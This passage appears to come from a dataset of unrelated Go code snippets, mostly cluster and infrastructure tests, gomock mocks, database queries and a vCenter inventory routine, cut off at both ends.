cluster\") {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tmachineSets := make([]*capiv1alpha1.MachineSet, len(tc.machineSets))\n\t\t\tvar masterMachineSet *capiv1alpha1.MachineSet\n\n\t\t\tfor i, clustopClusterMS := range tc.machineSets {\n\n\t\t\t\trole := capicommon.NodeRole\n\t\t\t\tif clustopClusterMS.NodeType == clustopv1alpha1.NodeTypeMaster {\n\t\t\t\t\trole = capicommon.MasterRole\n\t\t\t\t}\n\n\t\t\t\tmachineSet := testMachineSet(\n\t\t\t\t\tfmt.Sprintf(\"%s-%s\", cluster.Name, clustopClusterMS.ShortName),\n\t\t\t\t\tint32(clustopClusterMS.Size),\n\t\t\t\t\t[]capicommon.MachineRole{role},\n\t\t\t\t\tclustopClusterMS.Infra)\n\n\t\t\t\tif machineSet.Labels == nil {\n\t\t\t\t\tmachineSet.Labels = map[string]string{}\n\t\t\t\t}\n\t\t\t\tmachineSet.Labels[\"clusteroperator.openshift.io/cluster\"] = cluster.Name\n\t\t\t\tms, err := capiClient.ClusterV1alpha1().MachineSets(testNamespace).Create(machineSet)\n\t\t\t\tif !assert.NoError(t, err, \"could not create machineset %v\", machineSet.Name) {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tmachineSets[i] = ms\n\n\t\t\t\tif clustopClusterMS.NodeType == clustopv1alpha1.NodeTypeMaster {\n\t\t\t\t\tif masterMachineSet != nil {\n\t\t\t\t\t\tt.Fatalf(\"multiple master machinesets: %s and %s\", masterMachineSet.Name, ms.Name)\n\t\t\t\t\t}\n\t\t\t\t\tmasterMachineSet = ms\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif masterMachineSet == nil {\n\t\t\t\tt.Fatalf(\"no master machineset\")\n\t\t\t}\n\n\t\t\tif err := waitForClusterToExist(capiClient, testNamespace, testClusterName); err != nil {\n\t\t\t\tt.Fatalf(\"error waiting for Cluster to exist: %v\", err)\n\t\t\t}\n\n\t\t\tfor _, ms := range machineSets {\n\t\t\t\tif err := waitForMachineSetToExist(capiClient, testNamespace, ms.Name); err != nil {\n\t\t\t\t\tt.Fatalf(\"error waiting for MachineSet %v to exist: %v\", ms.Name, err)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !completeInfraProvision(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !completeControlPlaneInstall(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !completeComponentsInstall(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !completeNodeConfigInstall(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif !completeDeployClusterAPIInstall(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif err := capiClient.ClusterV1alpha1().Clusters(cluster.Namespace).Delete(cluster.Name, &metav1.DeleteOptions{}); err != nil {\n\t\t\t\tt.Fatalf(\"could not delete cluster: %v\", err)\n\t\t\t}\n\n\t\t\tif !completeInfraDeprovision(t, kubeClient, capiClient, cluster) {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif err := waitForClusterToNotExist(capiClient, cluster.Namespace, cluster.Name); err != nil {\n\t\t\t\tt.Fatalf(\"cluster not removed: %v\", err)\n\t\t\t}\n\t\t})\n\t}\n}", "func TestGetCanGetAlldata(t *testing.T) {\n\ts1, closeFn1, clientset1, configFilename1, s2, closeFn2, clientset2, configFilename2 := setUpTwoApiservers(t)\n\tdefer deleteSinglePartitionConfigFile(t, configFilename1)\n\tdefer deleteSinglePartitionConfigFile(t, configFilename2)\n\tdefer closeFn1()\n\tdefer closeFn2()\n\n\t// create pods via 2 different api servers\n\tpod1 := createPod(t, clientset1, tenant1, \"te\", \"pod1\")\n\tdefer framework.DeleteTestingTenant(tenant1, s1, t)\n\tpod2 := createPod(t, clientset2, tenant2, \"te\", \"pod1\")\n\tdefer framework.DeleteTestingTenant(tenant2, s2, t)\n\tassert.NotNil(t, pod1)\n\tassert.NotNil(t, pod2)\n\tassert.NotEqual(t, pod1.UID, pod2.UID)\n\n\t// verify get pod with same api server\n\treadPod1, err := clientset1.CoreV1().PodsWithMultiTenancy(pod1.Namespace, pod1.Tenant).Get(pod1.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get pod 1 from same clientset\")\n\tassert.NotNil(t, readPod1)\n\treadPod2, err := clientset2.CoreV1().PodsWithMultiTenancy(pod2.Namespace, pod2.Tenant).Get(pod2.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get pod 2 from same clientset\")\n\tassert.NotNil(t, readPod2)\n\n\t// verify get pod through different api server\n\treadPod1, err = clientset2.CoreV1().PodsWithMultiTenancy(pod1.Namespace, pod1.Tenant).Get(pod1.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get pod 1 from different clientset\")\n\tif err == nil {\n\t\tcheckPodEquality(t, pod1, readPod1)\n\t}\n\treadPod2, err = clientset1.CoreV1().PodsWithMultiTenancy(pod2.Namespace, pod2.Tenant).Get(pod2.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get pod 2 from different clientset\")\n\tif err == nil {\n\t\tcheckPodEquality(t, pod2, readPod2)\n\t}\n\n\t// create replicaset via 2 different api servers\n\trs1 := createRS(t, clientset1, tenant1, \"rs1\", \"default\", 1)\n\trs2 := createRS(t, clientset2, tenant2, \"rs2\", \"default\", 1)\n\tassert.NotNil(t, rs1)\n\tassert.NotNil(t, rs2)\n\tassert.NotEqual(t, rs1.UID, rs2.UID)\n\n\t// verify get rs through different api server\n\treadRs1, err := clientset2.AppsV1().ReplicaSetsWithMultiTenancy(rs1.Namespace, rs1.Tenant).Get(rs1.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get rs 1 from different clientset\")\n\tif err == nil {\n\t\tcheckRSEquality(t, rs1, readRs1)\n\t}\n\treadRs2, err := clientset1.AppsV1().ReplicaSetsWithMultiTenancy(rs2.Namespace, rs2.Tenant).Get(rs2.Name, metav1.GetOptions{})\n\tassert.Nil(t, err, \"Failed to get rs 2 from different clientset\")\n\tif err == nil {\n\t\tcheckRSEquality(t, rs2, readRs2)\n\t}\n\n\t// tear down\n\tdeletePod(t, clientset1, pod1)\n\tdeletePod(t, clientset1, pod2)\n\tdeleteRS(t, clientset2, rs1)\n\tdeleteRS(t, clientset2, rs2)\n}", "func (m *MockStorage) QueryMesosTaskgroup(cluster string) ([]*storage.Taskgroup, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryMesosTaskgroup\", cluster)\n\tret0, _ := ret[0].([]*storage.Taskgroup)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockFailoverServiceSet) List() []*v1alpha1.FailoverService {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"List\")\n\tret0, _ := ret[0].([]*v1alpha1.FailoverService)\n\treturn ret0\n}", "func TestSimpleCluster(t *testing.T) {\n\tc := client.MustNewClient()\n\tkubecli := mustNewKubeClient(t)\n\tns := getNamespace(t)\n\n\t// Prepare deployment config\n\tdepl := newDeployment(\"test-cls-\" + uniuri.NewLen(4))\n\tdepl.Spec.Mode = api.NewMode(api.DeploymentModeCluster)\n\n\t// Create deployment\n\t_, err := c.DatabaseV1().ArangoDeployments(ns).Create(depl)\n\tif err != nil {\n\t\tt.Fatalf(\"Create deployment failed: %v\", err)\n\t}\n\t// Prepare cleanup\n\tdefer removeDeployment(c, depl.GetName(), ns)\n\n\t// Wait for deployment to be ready\n\tapiObject, err := waitUntilDeployment(c, depl.GetName(), ns, deploymentIsReady())\n\tif err != nil {\n\t\tt.Fatalf(\"Deployment not running in time: %v\", err)\n\t}\n\n\t// Create a database client\n\tctx := context.Background()\n\tclient := mustNewArangodDatabaseClient(ctx, kubecli, apiObject, t, nil)\n\n\t// Wait for cluster to be available\n\tif err := waitUntilVersionUp(client, nil); err != nil {\n\t\tt.Fatalf(\"Cluster not running returning version in time: %v\", err)\n\t}\n\n\t// Check server role\n\tassert.NoError(t, testServerRole(ctx, client, driver.ServerRoleCoordinator))\n}", "func (m *MockFinder) ClusterComputeResourceList(arg0 context.Context, arg1 string) ([]*object.ClusterComputeResource, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ClusterComputeResourceList\", arg0, arg1)\n\tret0, _ := ret[0].([]*object.ClusterComputeResource)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestConcurrentQuery(t *testing.T) {\n\tenv := iot.NewTestEnv()\n\tdefer env.Close()\n\n\tbox := iot.BoxForEvent(env.ObjectBox)\n\n\terr := box.RemoveAll()\n\tassert.NoErr(t, err)\n\n\tvar objects = 10000\n\tvar queries = 500\n\tvar concurrency = 4\n\n\tif testing.Short() || strings.Contains(strings.ToLower(runtime.GOARCH), \"arm\") {\n\t\tobjects = 5000\n\t\tqueries = 200\n\t\tconcurrency = 2\n\t}\n\n\tassert.NoErr(t, env.ObjectBox.RunInWriteTx(func() error {\n\t\tfor i := objects; i > 0; i-- {\n\t\t\tif _, e := box.Put(&iot.Event{\n\t\t\t\tDevice: \"my device\",\n\t\t\t}); e != nil {\n\t\t\t\treturn e\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}))\n\n\t// prepare channels and launch the goroutines\n\terrors := make(chan error, queries)\n\n\tt.Logf(\"launching %d routines to execute %d queries each, over %d objects\", concurrency, queries, objects)\n\n\tvar wg sync.WaitGroup\n\twg.Add(concurrency)\n\tfor i := concurrency; i > 0; i-- {\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\t\t\tfor j := queries; j > 0; j-- {\n\t\t\t\tvar e error\n\t\t\t\tif j%2 == 0 {\n\t\t\t\t\t_, e = box.Query(iot.Event_.Id.GreaterThan(0)).Find()\n\t\t\t\t} else {\n\t\t\t\t\t_, e = box.Query(iot.Event_.Id.GreaterThan(0)).FindIds()\n\t\t\t\t}\n\t\t\t\tif e != nil {\n\t\t\t\t\terrors <- e\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\t// collect and check results after everything is done\n\tt.Log(\"waiting for all goroutines to finish\")\n\twg.Wait()\n\n\tassert.NoErr(t, env.ObjectBox.AwaitAsyncCompletion())\n\n\tif len(errors) != 0 {\n\t\tt.Errorf(\"encountered %d errors:\", len(errors))\n\t\tfor i := 0; i < len(errors); i++ {\n\t\t\tt.Log(\" \", <-errors)\n\t\t}\n\t}\n\tassert.Eq(t, 0, len(errors))\n}", "func Test_Cluster_Load(t *testing.T) {\n\ttotal := 5\n\tvar server [5]cluster.Server\n\tfor i := 0; i < total; i++ {\n\t\tserver[i] = cluster.New(i+1, \"../config.json\")\n\t}\n\n\t// Random messages\n\tmessage := []string{\"hello\", \"hi\", \"how are you\", \"hello its long day\", \"hoho\"}\n\n\t//Populating pids array with all pids including -1\n\tpeers := server[0].Peers()\n\tn := len(peers)\n\tpids := make([]int, n+2)\n\tfor i := 0; i < n; i++ {\n\t\tpids[i] = peers[i]\n\t}\n\tpids[n] = server[0].Pid()\n\tpids[n+1] = -1\n\n\tN_msg := 0\n\n\tcount := make([]int, 5)\n\tfor i := 0; i< total; i++ {\n\t\tcount[i] = 0\n\t}\n\n\twg := new(sync.WaitGroup)\n\tfor i := 0; i< total; i++ {\n\t\twg.Add(1)\n\t\tgo checkInput(server[i], &count[i], wg)\n\t}\n\n\tfor j := 0; j < 100000; j++ {\n\t\t// Random sender\n\t\tx := rand.Intn(total)\n\t\t// Random reciever (pids[y])\n\t\ty := rand.Intn(n + 2)\n\t\t// Random message\n\t\tz := rand.Intn(5)\n\n\t\tif pids[y] == (x + 1) {\n\t\t\tcontinue\n\t\t}\n\t\t// Calculating total messages to be sent ideally.\n\t\tif pids[y] == -1 {\n\t\t\tN_msg += 4\n\t\t} else {\n\t\t\tN_msg++\n\t\t}\n\t\t// Sending message to channel\n\t\tserver[x].Outbox() <- &cluster.Envelope{SendTo: pids[y], SendBy: x + 1, Msg: message[z]}\n\t}\n\n\tfor i := 0; i< total; i++ {\n\t\tclose(server[i].Outbox())\n\t}\n\t// Waiting for goroutines to end\n\twg.Wait()\n\n\tvar totalCount int\n\tfor i := 0; i< total; i++ {\n\t\ttotalCount += count[i]\n\t}\n\n\tif totalCount != N_msg {\n\t\tpanic (\"All messages not recieved..\")\n\t}\n\n\tt.Log(\"Load test passed.\")\n\n}", "func TestFetchBootstrapBlocksAllPeersSucceed(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\topts := newSessionTestAdminOptions()\n\ts, err := newSession(opts)\n\trequire.NoError(t, err)\n\tsession := s.(*session)\n\n\tmockHostQueues, mockClients := mockHostQueuesAndClientsForFetchBootstrapBlocks(ctrl, opts)\n\tsession.newHostQueueFn = mockHostQueues.newHostQueueFn()\n\n\t// Don't drain the peer blocks queue, explicitly drain ourselves to\n\t// avoid unpredictable batches being retrieved from peers\n\tvar (\n\t\tqs []*peerBlocksQueue\n\t\tqsMutex sync.RWMutex\n\t)\n\tsession.newPeerBlocksQueueFn = func(\n\t\tpeer peer,\n\t\tmaxQueueSize int,\n\t\t_ time.Duration,\n\t\tworkers xsync.WorkerPool,\n\t\tprocessFn processFn,\n\t) *peerBlocksQueue {\n\t\tqsMutex.Lock()\n\t\tdefer qsMutex.Unlock()\n\t\tq := newPeerBlocksQueue(peer, maxQueueSize, 0, workers, processFn)\n\t\tqs = append(qs, q)\n\t\treturn q\n\t}\n\n\trequire.NoError(t, session.Open())\n\n\tbatchSize := opts.FetchSeriesBlocksBatchSize()\n\n\tstart := time.Now().Truncate(blockSize).Add(blockSize * -(24 - 1))\n\n\tblocks := []testBlocks{\n\t\t{\n\t\t\tid: fooID,\n\t\t\tblocks: []testBlock{\n\t\t\t\t{\n\t\t\t\t\tstart: start.Add(blockSize * 1),\n\t\t\t\t\tsegments: &testBlockSegments{merged: &testBlockSegment{\n\t\t\t\t\t\thead: []byte{1, 2},\n\t\t\t\t\t\ttail: []byte{3},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tid: barID,\n\t\t\tblocks: []testBlock{\n\t\t\t\t{\n\t\t\t\t\tstart: start.Add(blockSize * 2),\n\t\t\t\t\tsegments: &testBlockSegments{merged: &testBlockSegment{\n\t\t\t\t\t\thead: []byte{4, 5},\n\t\t\t\t\t\ttail: []byte{6},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tid: bazID,\n\t\t\tblocks: []testBlock{\n\t\t\t\t{\n\t\t\t\t\tstart: start.Add(blockSize * 3),\n\t\t\t\t\tsegments: &testBlockSegments{merged: &testBlockSegment{\n\t\t\t\t\t\thead: []byte{7, 8},\n\t\t\t\t\t\ttail: []byte{9},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\t// Expect the fetch metadata calls\n\tmetadataResult := resultMetadataFromBlocks(blocks)\n\t// Skip the first client which is the client for the origin\n\tmockClients[1:].expectFetchMetadataAndReturn(metadataResult, opts, false)\n\n\t// Expect the fetch blocks calls\n\tparticipating := len(mockClients) - 1\n\tblocksExpectedReqs, blocksResult := expectedReqsAndResultFromBlocks(blocks, batchSize, participating)\n\t// Skip the first client which is the client for the origin\n\tfor i, client := range mockClients[1:] {\n\t\texpectFetchBlocksAndReturn(client, blocksExpectedReqs[i], blocksResult[i])\n\t}\n\n\t// Fetch blocks\n\tgo func() {\n\t\t// Trigger peer queues to drain explicitly when all work enqueued\n\t\tfor {\n\t\t\tqsMutex.RLock()\n\t\t\tassigned := 0\n\t\t\tfor _, q := range qs {\n\t\t\t\tassigned += int(atomic.LoadUint64(&q.assigned))\n\t\t\t}\n\t\t\tqsMutex.RUnlock()\n\t\t\tif assigned == len(blocks) {\n\t\t\t\tqsMutex.Lock()\n\t\t\t\tdefer qsMutex.Unlock()\n\t\t\t\tfor _, q := range qs {\n\t\t\t\t\tq.drain()\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}()\n\trangeStart := start\n\trangeEnd := start.Add(blockSize * (24 - 1))\n\tbootstrapOpts := newResultTestOptions()\n\tresult, err := session.FetchBootstrapBlocksFromPeers(\n\t\ttestsNsMetadata(t), 0, rangeStart, rangeEnd, bootstrapOpts, FetchBlocksMetadataEndpointV1)\n\tassert.NoError(t, err)\n\tassert.NotNil(t, result)\n\n\t// Assert result\n\tassertFetchBootstrapBlocksResult(t, blocks, result)\n\n\tassert.NoError(t, session.Close())\n}", "func TestAllRest(t *testing.T) {\n\tConfigure()\n\tvar table = [][]RequestTestPair{\n\t\ttestAddEvent(t),\n\t\ttestDuplicateEvent(t),\n\t\ttestGetAllConfig(t),\n\t\ttestAddTracer(t),\n\t\ttestSwitchProject(t),\n\t\ttestDeleteProject(t),\n\t}\n\n\tserverTestHelperBulk(table, t)\n}", "func TestCluster_Open(t *testing.T) {\n\tc := MustOpenCluster(3)\n\tdefer c.Close()\n\n\t// Check that one node is leader and two are followers.\n\tif s := c.Leader(); s == nil {\n\t\tt.Fatal(\"no leader found\")\n\t}\n\n\t// Add a database to each node.\n\tfor i, s := range c.Stores {\n\t\tif di, err := s.CreateDatabase(fmt.Sprintf(\"db%d\", i)); err != nil {\n\t\t\tt.Fatal(err)\n\t\t} else if di == nil {\n\t\t\tt.Fatal(\"expected database\")\n\t\t}\n\t}\n\n\t// Verify that each store has all databases.\n\tfor i := 0; i < len(c.Stores); i++ {\n\t\tfor _, s := range c.Stores {\n\t\t\tif di, err := s.Database(fmt.Sprintf(\"db%d\", i)); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t} else if di == nil {\n\t\t\t\tt.Fatal(\"expected database\")\n\t\t\t}\n\t\t}\n\t}\n}", "func TestQueryLedgers(t *testing.T) {\n\tt.Parallel()\n\t_, err := k.QueryLedgers(context.Background(), \"LVTSFS-NHZVM-EXNZ5M\")\n\tif err == nil {\n\t\tt.Error(\"QueryLedgers() Expected error\")\n\t}\n}", "func (t *SmartContract) query_all(stub shim.ChaincodeStubInterface, args []string) pb.Response {\n\n\tif len(args) != 0 {\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 0\")\n\t}\n\n resultsIterator, err := stub.GetStateByRange(\"\",\"\")\n if err != nil {\n return shim.Error(err.Error())\n }\n defer resultsIterator.Close()\n\n // buffer is a JSON array containing QueryResults\n var buffer bytes.Buffer\n buffer.WriteString(\"\\n[\")\n\n\tbArrayMemberAlreadyWritten := false\n for resultsIterator.HasNext() {\n queryResponse, err := resultsIterator.Next()\n if err != nil {\n return shim.Error(err.Error())\n }\n // Add a comma before array members, suppress it for the first array member\n if bArrayMemberAlreadyWritten == true {\n buffer.WriteString(\",\")\n }\n buffer.WriteString(\"{\\\"Key\\\":\")\n buffer.WriteString(\"\\\"\")\n buffer.WriteString(queryResponse.Key)\n buffer.WriteString(\"\\\"\")\n\n buffer.WriteString(\", \\\"Record\\\":\")\n // Record is a JSON object, so we write as-is\n buffer.WriteString(string(queryResponse.Value))\n buffer.WriteString(\"}\")\n bArrayMemberAlreadyWritten = true\n }\n buffer.WriteString(\"]\\n\")\n return shim.Success(buffer.Bytes())\n}", "func (m *CDatabase) FindAll() ([]Cluster, error) {\n\tvar clusters []Cluster\n\terr := db.C(COLLECTION).Find(bson.M{}).All(&clusters)\n\treturn clusters, err\n}", "func (m *MockExecutionManager) GetCrossClusterTasks(ctx context.Context, request *GetCrossClusterTasksRequest) (*GetCrossClusterTasksResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetCrossClusterTasks\", ctx, request)\n\tret0, _ := ret[0].(*GetCrossClusterTasksResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func testNomadCluster(t *testing.T, nodeIpAddress string) {\n\tmaxRetries := 90\n\tsleepBetweenRetries := 10 * time.Second\n\n\tresponse := retry.DoWithRetry(t, \"Check Nomad cluster has expected number of servers and clients\", maxRetries, sleepBetweenRetries, func() (string, error) {\n\t\tclients, err := callNomadApi(t, nodeIpAddress, \"v1/nodes\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif len(clients) != DEFAULT_NUM_CLIENTS {\n\t\t\treturn \"\", fmt.Errorf(\"Expected the cluster to have %d clients, but found %d\", DEFAULT_NUM_CLIENTS, len(clients))\n\t\t}\n\n\t\tservers, err := callNomadApi(t, nodeIpAddress, \"v1/status/peers\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif len(servers) != DEFAULT_NUM_SERVERS {\n\t\t\treturn \"\", fmt.Errorf(\"Expected the cluster to have %d servers, but found %d\", DEFAULT_NUM_SERVERS, len(servers))\n\t\t}\n\n\t\treturn fmt.Sprintf(\"Got back expected number of clients (%d) and servers (%d)\", len(clients), len(servers)), nil\n\t})\n\n\tlogger.Logf(t, \"Nomad cluster is properly deployed: %s\", response)\n}", "func (m *MockStorage) QueryK8SPod(cluster string) ([]*storage.Pod, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"QueryK8SPod\", cluster)\n\tret0, _ := ret[0].([]*storage.Pod)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func QueryAll(ctx context.Context, queryable Queryable, mapper RowMapper, query string, args ...interface{}) ([]interface{}, error) {\n\tvar err error\n\tstart := time.Now()\n\tdefer func(e error) {\n\t\tlatency := time.Since(start)\n\t\tzap.L().Info(\"queryAll\", zap.Int(\"latency\", int(latency.Seconds()*1000)), zap.Bool(\"success\", e == sql.ErrNoRows || e == nil), zap.String(\"activityId\", GetTraceID(ctx)))\n\t}(err)\n\n\trows, err := queryable.QueryContext(ctx, query, args...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer rows.Close()\n\tresults := make([]interface{}, 0, 10)\n\tfor rows.Next() {\n\t\tobj, err := mapper.Map(rows)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tresults = append(results, obj)\n\t}\n\n\treturn results, nil\n}", "func (m *MockCluster) Get(clusterKey api.ClusterKey) (api.Cluster, error) {\n\tret := m.ctrl.Call(m, \"Get\", clusterKey)\n\tret0, _ := ret[0].(api.Cluster)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func TestFindEdgeCluster(t *testing.T) {\n\n\tnsxClient, teardown := setupTest()\n\tdefer teardown()\n\n\ttype args struct {\n\t\tnsxClient *nsxt.APIClient\n\t\tcallback nsxtapi.EdgeSearchHandler\n\t\tsearchVal string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\t\"should return not found\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"name\"],\n\t\t\t\t\"\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster name\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"name\"],\n\t\t\t\t\"edge-cluster\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster uuid\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"uuid\"],\n\t\t\t\t\"133fe9a7-2e87-409a-b1b3-406ab5833986\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster uuid not found\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"uuid\"],\n\t\t\t\t\"133fe9a7\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := nsxtapi.FindEdgeCluster(tt.args.nsxClient, tt.args.callback, tt.args.searchVal)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"FindEdgeCluster() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor _, v := range got {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Log(\"found router id \", v.Id, \" name\", v.DisplayName)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}", "func (metadata *metadataImpl) GetAllClusterInfo() map[string]config.ClusterInformation {\n\treturn metadata.clusterInfo\n}", "func (e *BcsDataManager) GetAllClusterList(ctx context.Context, req *bcsdatamanager.GetClusterListRequest,\n\trsp *bcsdatamanager.GetClusterListResponse) error {\n\tblog.Infof(\"Received GetAllClusterList.Call request. Dimension:%s, page:%s, size:%s, startTime=%s, endTime=%s\",\n\t\treq.GetDimension(), req.GetPage(), req.GetSize(), time.Unix(req.GetStartTime(), 0),\n\t\ttime.Unix(req.GetEndTime(), 0))\n\tstart := time.Now()\n\tresult, total, err := e.model.GetClusterInfoList(ctx, req)\n\tif err != nil {\n\t\trsp.Message = fmt.Sprintf(\"get cluster list info error: %v\", err)\n\t\trsp.Code = bcsCommon.AdditionErrorCode + 500\n\t\tblog.Errorf(rsp.Message)\n\t\tprom.ReportAPIRequestMetric(\"GetAllClusterList\", \"grpc\", prom.StatusErr, start)\n\t\treturn nil\n\t}\n\trsp.Data = result\n\trsp.Message = bcsCommon.BcsSuccessStr\n\trsp.Code = bcsCommon.BcsSuccess\n\trsp.Total = uint32(total)\n\tprom.ReportAPIRequestMetric(\"GetAllClusterList\", \"grpc\", prom.StatusOK, start)\n\treturn nil\n}", "func (vcenter *VCenter) Query(interval int, domain string, replacepoint bool, properties []string, resultLimit int, instanceRatio float64, channel *chan backend.Point, wg *sync.WaitGroup) {\n\tdefer func() {\n\t\tif wg != nil {\n\t\t\twg.Done()\n\t\t}\n\t}()\n\n\t// prepare vcname\n\tvcName := strings.Replace(vcenter.Hostname, domain, \"\", -1)\n\n\tlog.Printf(\"vcenter %s: setting up query inventory\", vcName)\n\n\t// Create the context\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\t// Get the client\n\tclient, err := vcenter.Connect()\n\tif err != nil {\n\t\tlog.Printf(\"vcenter %s: could not connect to vcenter - %s\\n\", vcName, err)\n\t\treturn\n\t}\n\n\t// wait to be properly connected to defer logout\n\tdefer func() {\n\t\tlog.Printf(\"vcenter %s: disconnecting\\n\", vcName)\n\t\terr := client.Logout(ctx) // nolint: vetshadow\n\t\tif err != nil {\n\t\t\tlog.Printf(\"vcenter %s: error logging out - %s\\n\", vcName, err)\n\t\t}\n\t}()\n\n\t// Create the view manager\n\tvar viewManager mo.ViewManager\n\terr = client.RetrieveOne(ctx, *client.ServiceContent.ViewManager, nil, &viewManager)\n\tif err != nil {\n\t\tlog.Printf(\"vcenter %s: could not get view manager - %s\\n\", vcName, err)\n\t\treturn\n\t}\n\n\t// Find all Datacenters accessed by the user\n\tdatacenters := []types.ManagedObjectReference{}\n\tfinder := find.NewFinder(client.Client, true)\n\tdcs, err := finder.DatacenterList(ctx, \"*\")\n\tif err != nil {\n\t\tlog.Printf(\"vcenter %s: could not find a datacenter - %s\\n\", vcName, err)\n\t\treturn\n\t}\n\tfor _, child := range dcs {\n\t\tdatacenters = append(datacenters, child.Reference())\n\t}\n\n\t// Get the object types from properties\n\tobjectTypes := []string{}\n\tfor _, property := range properties {\n\t\tif propval, ok := Properties[property]; ok {\n\t\t\tfor objkey := range propval {\n\t\t\t\tobjectTypes = append(objectTypes, objkey)\n\t\t\t}\n\t\t}\n\t}\n\t// Get interesting object types from specified queries\n\t// Complete object of interest with required metrics\n\tfor _, group := range vcenter.MetricGroups {\n\t\tfound := false\n\t\tfor _, tmp := range objectTypes {\n\t\t\tif group.ObjectType == tmp {\n\t\t\t\tfound = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tobjectTypes = append(objectTypes, group.ObjectType)\n\t\t}\n\t}\n\n\t// Loop trough datacenters and create the intersting object reference list\n\tmors := []types.ManagedObjectReference{}\n\tfor _, datacenter := range datacenters {\n\t\t// Create the CreateContentView request\n\t\treq := types.CreateContainerView{This: viewManager.Reference(), Container: datacenter, Type: objectTypes, Recursive: true}\n\t\tres, err := methods.CreateContainerView(ctx, client.RoundTripper, &req) // nolint: vetshadow\n\t\tif err != nil {\n\t\t\tlog.Printf(\"vcenter %s: could not create container view - %s\\n\", vcName, err)\n\t\t\tcontinue\n\t\t}\n\t\t// Retrieve the created ContentView\n\t\tvar containerView mo.ContainerView\n\t\terr = client.RetrieveOne(ctx, res.Returnval, nil, &containerView)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"vcenter %s: could not get container - %s\\n\", vcName, err)\n\t\t\tcontinue\n\t\t}\n\t\t// Add found object to object list\n\t\tmors = append(mors, containerView.View...)\n\t}\n\n\tif len(mors) == 0 {\n\t\tlog.Printf(\"vcenter %s: no object of intereset in types %s\\n\", vcName, strings.Join(objectTypes, \", \"))\n\t\treturn\n\t}\n\n\t//object for property collection\n\tvar objectSet []types.ObjectSpec\n\tfor _, mor := range mors {\n\t\tobjectSet = append(objectSet, types.ObjectSpec{Obj: mor, Skip: types.NewBool(false)})\n\t}\n\n\t//properties specifications\n\treqProps := make(map[string][]string)\n\t//first fill in name for each object type and add connectionstate and powerstate\n\tfor _, objType := range objectTypes 